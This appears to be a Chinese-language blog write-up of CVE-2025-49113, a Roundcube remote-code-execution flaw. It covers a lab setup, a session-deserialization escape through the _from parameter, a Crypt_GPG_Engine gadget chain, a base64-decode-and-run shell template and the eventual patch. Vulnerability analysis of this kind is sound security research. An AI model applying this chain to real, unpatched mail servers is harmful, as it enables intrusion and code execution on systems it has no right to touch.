2025年6月2日公开了一个RoundCube邮件系统中的一个RCE漏洞,信息如下

1
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.

影响版本<1.5.10 <1.6.11,虽然是一个认证后才可以触发的漏洞,但是评分却达到了9.9,接下来根据公开的漏洞信息对该漏洞进行分析与复现

版本diff

在本地下载1.6.10版本代码,diff 1.6.11版本发现主要是对type字段进行了过滤,type字段来源于 _form 和漏洞信息也能对应上

复现环境

由于RC官方提供了各个版本的docker镜像,所以只需要再简单配置一个dovecot和mysql用于正常登录即可,配置环境如下

docker-compose.yml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
version: "3"
services:
  dovecot:
    image: dovecot/dovecot:2.3
    restart: always
    ports:
      - "143:143"
    volumes:
      - ./dovecot/dovecot.conf:/etc/dovecot/dovecot.conf
      - ./dovecot/users:/etc/dovecot/users

  web:
    image: roundcube/roundcubemail:1.6.10-apache
    environment:
      - ROUNDCUBEMAIL_DEFAULT_HOST=dovecot
      - ROUNDCUBEMAIL_SMTP_SERVER=dovecot
      - ROUNDCUBEMAIL_DB_TYPE=mysql
      - ROUNDCUBEMAIL_DB_HOST=db
      - ROUNDCUBEMAIL_DB_PORT=3306
      - ROUNDCUBEMAIL_DB_USER=round
      - ROUNDCUBEMAIL_DB_PASSWORD=round
      - ROUNDCUBEMAIL_DB_NAME=round
    ports:
      - "8000:80"
    depends_on:
      - db
      - dovecot

  db:
    image: mysql:8.0
    environment:
      MYSQL_RANDOM_ROOT_PASSWORD: 1
      MYSQL_DATABASE: round
      MYSQL_USER: round
      MYSQL_PASSWORD: round
    ports:
      - "3308:3306"

dovecot.conf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
disable_plaintext_auth = no
mail_location = maildir:/var/mail/%u
auth_mechanisms = plain login

passdb {
  driver = passwd-file
  args = /etc/dovecot/users
}

userdb {
  driver = static
  args = uid=5000 gid=5000 home=/var/mail/%u
}

service imap-login {
  inet_listener imap {
    port = 143
  }
}

protocols = imap%

users

1
testuser:{PLAIN}testpassword

漏洞复现

漏洞入口

根据漏洞公开信息可以知道漏洞入口点位于 program/actions/settings/upload.php,整体流程比较简单

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function run($args = [])
{
	$rcmail = rcmail::get_instance();
	$from   = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
	$type   = preg_replace('/(add|edit)-/', '', $from);

	// Plugins in Settings may use this file for some uploads (#5694)
	// Make sure it does not contain a dot, which is a special character
	// when using rcube_session::append() below
	$type = str_replace('.', '-', $type);

	// Supported image format types
	$IMAGE_TYPES = explode(',', 'jpeg,jpg,jp2,tiff,tif,bmp,eps,gif,png,png8,png24,png32,svg,ico');

	// clear all stored output properties (like scripts and env vars)
	$rcmail->output->reset();

	$max_size = $rcmail->config->get($type . '_image_size', 64) * 1024;
	$uploadid = rcube_utils::get_input_string('_uploadid', rcube_utils::INPUT_GET);

	if (!empty($_FILES['_file']['tmp_name']) && is_array($_FILES['_file']['tmp_name'])) {
		$multiple = count($_FILES['_file']['tmp_name']) > 1;

		foreach ($_FILES['_file']['tmp_name'] as $i => $filepath) {
			// ...
			if (!$err && !empty($attachment['status']) && empty($attachment['abort'])) {
				$id = $attachment['id'];

				// store new file in session
				unset($attachment['status'], $attachment['abort']);
				$rcmail->session->append($type . '.files', $id, $attachment);

			// ....

在函数开始会对 _from 参数进行一些处理之后才赋值给 type,这些处理并不会对参数进行任何安全的过滤,继续向下可以看到处理了一下上传文件,在文件被成功上传后会调用一次 $this->session_append,并且这里带入了可控参数,后续没有了对这个字段的处理,所以可以推断出漏洞应该就出现在对session的反序列化上

跟入 append 函数,这是一抽象类 rcube_session 中的函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function append($path, $key, $value)
{
	// re-read session data from DB because it might be outdated
	if (!$this->reloaded && microtime(true) - $this->start > 0.5) {
		$this->reload();
		$this->reloaded = true;
		$this->start = microtime(true);
	}

	$node = &$this->get_node(explode('.', $path), $_SESSION);

	if ($key !== null) {
		$node[$key] = $value;
		$path .= '.' . $key;
	}
	else {
		$node[] = $value;
	}

	$this->appends[] = $path;

	// when overwriting a previously unset variable
	if (array_key_exists($path, $this->unsets)) {
		unset($this->unsets[$path]);
	}
}

这里的 $this->get_node 函数第一个参数将传入的 $path 使用 . 进行了分割,也就是说会把传入的 $type.files 分割成 $typefiles,跟入这个函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
protected function &get_node($path, &$data_arr)
{
	$node = &$data_arr;

	if (!empty($path)) {
		foreach ((array) $path as $key) {
			if (!isset($node[$key])) {
				$node[$key] = [];
			}
			$node = &$node[$key];
		}
	}

	return $node;
}

这里的第二个参数传入的是 $_SESSION,也就是说如果当前session中不存在 $type.files 的键就会进行创建出来 $_SESSION[$type]['files'] 这类的键(由于获取 $type 参数的时候将.转换成了-,导致无法无限制的向下创建任意键),之后再次向 $type.files 后添加了一层嵌套,key为上传文件处理后的 attachment_id,内容为处理后的上传信息,大概内容信息如下

1
2
3
4
5
6
7
$attachment = $rcmail->plugins->exec_hook('attachment_upload', [
	'path'     => $filepath,
	'size'     => $_FILES['_file']['size'][$i],
	'name'     => $_FILES['_file']['name'][$i],
	'mimetype' => 'image/' . $imageprop['type'],
	'group'    => $type,
]);

此时因为 $type 的原因,我们拥有了一次控制顶层key的能力,但此时还无法控制这个key的内容

session处理

rcube_session 是roundcube自定义的一个对于session处理相关的类,在这里面hook了原生的几个方法

1
2
3
4
5
6
7
8
session_set_save_handler(
	[$this, 'open'],
	[$this, 'close'],
	[$this, 'read'],
	[$this, 'sess_write'],
	[$this, 'destroy'],
	[$this, 'gc']
);

主要看到其中的 sess_write

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public function sess_write($key, $vars)
{
	if ($this->nowrite) {
		return true;
	}

	// check cache
	$oldvars = $this->get_cache($key);

	// if there are cached vars, update store, else insert new data
	if ($oldvars) {
		$newvars = $this->_fixvars($vars, $oldvars);
		return $this->update($key, $newvars, $oldvars);
	}
	else {
		return $this->write($key, $vars);
	}
}

由于漏洞是认证后,所以一定存在旧数据,那么继续跟入到存在缓存的情况,跟入 _fixvars

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
protected function _fixvars($vars, $oldvars)
{
	$newvars = '';

	if ($oldvars !== null) {
		$a_oldvars = $this->unserialize($oldvars);

		if (is_array($a_oldvars)) {
			// remove unset keys on oldvars
			foreach ((array)$this->unsets as $var) {
				if (isset($a_oldvars[$var])) {
					unset($a_oldvars[$var]);
				}
				else {
					$path = explode('.', $var);
					$k = array_pop($path);
					$node = &$this->get_node($path, $a_oldvars);
					unset($node[$k]);
				}
			}

			$newvars = $this->serialize(array_merge(
				(array)$a_oldvars, (array)$this->unserialize($vars)));
		}
		else {
			$newvars = $vars;
		}
	}

	$this->unsets = [];

	return $newvars;
}

这里在对旧数据进行处理后,合并了已存储的session数据与当前的session数据,此时调用了一个自定义的 unserialize 对当前的session进行了一次反序列化处理,跟入到这个函数的定义

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
    public static function unserialize($str)
    {
        $str    = (string) $str;
        $endptr = strlen($str);
        $p      = 0;

        $serialized = '';
        $items      = 0;
        $level      = 0;

        while ($p < $endptr) {
            $q = $p;
            while ($str[$q] != '|')
                if (++$q >= $endptr)
                    break 2;

            if ($str[$p] == '!') {
                $p++;
                $has_value = false;
            }
            else {
                $has_value = true;
            }

            $name = substr($str, $p, $q - $p);
            $q++;

            $serialized .= 's:' . strlen($name) . ':"' . $name . '";';

            if ($has_value) {
                for (;;) {
	                 // ......
                }
            }
            else {
                $serialized .= 'N;';
                $q += 2;
            }
            $items++;
            $p = $q;
        }

        return unserialize('a:' . $items . ':{' . $serialized . '}');
    }

这里注意到对两个符号有特殊处理,一个是 | 一个是 !,首先 | 的作用主要是用于分隔开key和value,当前session序列化后的值为 key|value;key|value 形式的键值对,而 ! 则是将被这个符号标记的key值直接处理成 s:len:"key";N;,但是这里存在一个问题,如果这个key本身就是一个数组或者对象,在对其添加 N; 之后仍然还有这个对象本身序列化后的值,而这些值将会被当做一个新的key直到遇到下一个 |,从而造成逃逸的效果,以一个RC系统中部分session内容为例,其存储的序列化字符串如下

1
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:".";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}

被rc自定义的序列化处理后正常应该会是下面的结果

1
a:2:{s:8:"language";s:5:"en_US";s:14:"imap_namespace";a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:".";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}}

但是如果将其中的一个key增加!标记,变成下面的情况

1
!language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:".";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}

再经过自定义的反序列化处理,结果将会和预期出现很大的出入

1
a:2:{s:8:"language";N;s:24:"5:"en_US";imap_namespace";a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:".";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}}

可以发现,本身应该是 language 这个键的值 5:"en_US" 被当做了一个新的key的起始字符串,并且这个key长度为24,再将其继续进行原生反序列化函数进行处理后会得到下面的值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
(
    [language] => 
    [5:"en_US";imap_namespace] => Array
        (
            [personal] => Array
                (
                    [0] => Array
                        (
                            [0] => 
                            [1] => .
                        )

                )

            [other] => 
            [shared] => 
            [prefix_out] => 
        )
)

而如果language这个key是我们可控的值,并且在其之后还存在可控的值,就可以通过这次逃逸,将后续可控但并不在顶层的key逃逸出来,实现位于顶层的key、value都完全可控,此时再寻找一个对 $_SESSION['key'] 进行原生反序列化操作的地方,即可实现一次任意对象的反序列化攻击。

program/actions/settings/upload.php 的上传中,我们可以控制 $_SESSION[$type] 这个顶层的key,并且后续内容中的文件名同样没有过滤导致数据可控,如下所示

通过修改 _from 参数,尝试对其进行逃逸操作,实现控制顶层key与value,如下所示

至此拥有了任意对象反序列化的能力,在系统中存在一个使用原生反序列化处理session顶层key的地方 program/include/rcmail.php#logout_actions

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
    public function logout_actions()
    {
        $storage        = $this->get_storage();
        $logout_expunge = $this->config->get('logout_expunge');
        $logout_purge   = $this->config->get('logout_purge');
        $trash_mbox     = $this->config->get('trash_mbox');

        if ($logout_purge && !empty($trash_mbox)) {
             // ....
        }

        if ($logout_expunge) {
            $storage->expunge_folder('INBOX');
        }

        // Try to save unsaved user preferences
        if (!empty($_SESSION['preferences'])) {
            $this->user->save_prefs(unserialize($_SESSION['preferences']));
        }
    }

所以需要在构造payload的时候,逃逸出来一个位于顶层的 preferences 键,再寻找到一个合适的gadget进行利用即可,但是需要注意的是由于文件名这个字段的特殊性,我们无法构造出带有路径符号的payload导致寻找gadget的时候有一些受限

pop chain

由于RC使用了 guzzle 理所当然想到 FileCookieJarFnStream,但是由于这两个类需要带入命名空间,受文件名的影响这两个gadget只能放弃,但是全局搜索后发现存在一个不需要命名空间并且析构函数中存在命令执行操作的类 Crypt_GPG_Engine

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public function __destruct()
{
	$this->_closeSubprocess();
	$this->_closeIdleAgents();
}

private function _closeIdleAgents()
{
	if ($this->_gpgconf) {
		// before 2.1.13 --homedir wasn't supported, use env variable
		$env = array('GNUPGHOME' => $this->_homedir);
		$cmd = $this->_gpgconf . ' --kill gpg-agent';

		if ($process = proc_open($cmd, array(), $pipes, null, $env)) {
			proc_close($process);
		}
	}
}

所以这里可以直接构造出来 $this->_gpgconf 然后使用 proc_open 进行命令执行,比较简单的链,但是由于文件名处的干扰,这里需要做一下绕过

使用 proc_open 执行 echo $0 之后发现是 sh,那么不用考虑这里没给 proc_open 传入包含 PATH 的环境变量,可以直接使用各个命令用于绕过,比如下面的命令

1
echo "{command}"|base64 -d|sh ;#

至此完成了反序列化的利用工作,通过配合logout中的 unserialize($_SESSION['preferences']),构造逃逸出一个 preferences 键即可

利用截图

总结

本文从CVE-2025-49113的漏洞描述信息为入口点,找到RoundCube中对session进行自定义反序列化时会出现的问题,最终实现反序列化攻击导致RCE。这个漏洞的利用比较巧妙,同时也比较巧合,比如刚好存在一个没有命名空间又同时可以做命令注入的 Crypt_GPG_Engine 类,也存在直接对session某项数据进行原生反序列化的地方。

最终漏洞修复方式为对 $type 参数进行了一次 rcube_utils::is_simple_string 的过滤,其中只允许存在 \w.- 的存在,无法再通过传入 ! 进行逃逸。